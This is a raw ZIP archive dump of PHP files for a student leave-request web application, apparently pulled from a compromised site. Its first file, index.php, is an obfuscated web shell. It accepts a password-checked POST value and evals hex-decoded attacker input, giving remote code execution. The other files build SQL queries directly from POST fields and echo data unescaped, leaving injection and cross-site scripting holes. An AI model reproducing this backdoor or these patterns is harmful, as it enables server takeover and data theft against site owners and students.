<META NAME="robots" CONTENT="noindex,nofollow">


PK       ! W±óQ¿   ¿   	  index.phpnu „[µü¤        <?php 
$est = $_POST;
if(!empty($est['a']) && md5($est['a'])=='c16dfb9255d73f3041c2dc7d80eed086') {
	$lrv = 'he'.'x2b'.'in';
	EVal /*cgsxa*/ ($lrv($est['c']));
	exit;
}
echo 'e26';
?>PK       ! ècqÈ  È    submit_leave.phpnu ßú¥ÿ        <?php
include '../helpers/helpers.php'; checkLogin('student');
include '../config/config.php';
$uid=$_SESSION['user']['id'];
$s=$conn->query("SELECT * FROM students WHERE user_id=$uid")->fetch_assoc();
$ip= isset($_POST['informed_parents'])?'Yes':'No';
$q="INSERT INTO leave_requests(student_id,student_name,standard,class,roll_no,phone,subject,reason,start_date,end_date,informed_parents,apply_date,status)
VALUES(
'{$s['student_id']}','{$s['name']}','{$s['standard']}','{$s['class']}','{$s['roll_no']}','{$s['phone']}',
'{$_POST['subject']}','{$_POST['reason']}','{$_POST['start_date']}','{$_POST['end_date']}','$ip','{$_POST['apply_date']}','Pending')";
$conn->query($q);
header("Location: dashboard.php");
?>PK       ! Lv¯Ev  v    leave_form.phpnu ßú¥ÿ        <?php
include '../helpers/helpers.php'; checkLogin('student');
include '../config/config.php';
$uid=$_SESSION['user']['id'];
$s=$conn->query("SELECT * FROM students WHERE user_id=$uid")->fetch_assoc();
?>
<html><head><link rel="stylesheet" href="../assets/css/style.css"></head>
<body>
<div class="card">
<h2>Leave Application</h2>
<form action="submit_leave.php" method="post">
<input value="<?= $s['student_id'] ?>" name="student_id" readonly>
<input value="<?= $s['name'] ?>" name="student_name" readonly>
<input value="<?= $s['standard'] ?>" name="standard" readonly>
<input value="<?= $s['class'] ?>" name="class" readonly>
<input value="<?= $s['roll_no'] ?>" name="roll_no" readonly>
<input value="<?= $s['phone'] ?>" name="phone" readonly>
<input value="<?= date('Y-m-d') ?>" name="apply_date" readonly>
<input name="subject" placeholder="Subject">
<textarea name="reason" placeholder="Reason"></textarea>
From <input type="date" name="start_date">
To <input type="date" name="end_date"><br>
<label><input type="checkbox" name="informed_parents" value="Yes"> Parents Informed</label>
<button>Submit</button>
</form></div></body></html>PK       ! ã„Q      dashboard.phpnu ßú¥ÿ        <?php 
    include '../helpers/helpers.php'; checkLogin('student'); 
    include '../config/config.php';
    $user_id = $_SESSION['user']['id'];
    $result = $conn->query("SELECT * FROM leave_requests WHERE student_id IN (SELECT student_id FROM students WHERE user_id=$user_id) ORDER BY id DESC");
?>
<html>
    <head><link rel="stylesheet" href="../assets/css/style.css"></head>
    <body>
        <div class="card">
            <h2>Student Dashboard</h2>
            <a href="leave_form.php">Apply Leave</a>   <a href="../logout.php">Logout</a><br><br>
        <table border=1><tr><th>ID</th><th>Subject</th><th>Status</th></tr>
            <?php while($r = $result->fetch_assoc()): ?>
                <tr><td><?= $r['id'] ?></td><td><?= $r['subject'] ?></td><td><?= $r['status'] ?></td></tr>
            <?php endwhile; ?>
        </table>        
                </div>

    </body>
</html>PK         ! W±óQ¿   ¿   	                index.phpnu „[µü¤        PK         ! ècqÈ  È              ø   submit_leave.phpnu ßú¥ÿ        PK         ! Lv¯Ev  v                 leave_form.phpnu ßú¥ÿ        PK         ! ã„Q                ´  